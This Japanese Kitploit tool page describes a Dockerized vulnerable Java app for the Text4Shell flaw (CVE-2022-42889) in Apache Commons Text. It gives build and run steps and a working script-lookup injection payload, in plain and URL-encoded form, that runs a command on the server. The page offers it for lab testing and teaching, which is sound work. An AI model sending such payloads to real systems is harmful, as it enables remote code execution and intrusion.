cve-2022-42889-text4shell-docker — Docker化された脆弱なJavaアプリケーション。Apache Commons Textの文字列ルックアップを介したCVE-2022-42889（Text4Shell）のリモートコード実行を実証し、セキュリティテストと教育用に提供します。 | Kitploit

cve-2022-42889-text4shell-docker — Docker化された脆弱なJavaアプリケーション。Apache Commons Textの文字列ルックアップを介したCVE-2022-42889（Text4Shell）のリモートコード実行を実証し、セキュリティテストと教育用に提供します。 | Kitploit

Mavenのインストール - maven-linux

Mavenをインストールしてfat jarを作成する

mvn clean install

Dockerビルド

docker build --tag=text4shell .

Docker実行

docker run -p 80:8080 text4shell

アプリをテストする

http://localhost/text4shell/attack?search=<anything>

攻撃は、前述のルックアップであるプレフィックスを使用して文字列「${prefix:name}」を渡すことで実行できます:

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

dns または url プレフィックスを使用してみることもできます。
コンテナIDを取得する

docker container ls

アプリの中に入る

docker exec -it <container_id> bash

上記のRCEが成功したか確認するには（/tmpディレクトリにfooというファイルが作成されているはずです）：

ls /tmp/

コンテナを停止する

docker container stop <container_id>

ツールをダウンロード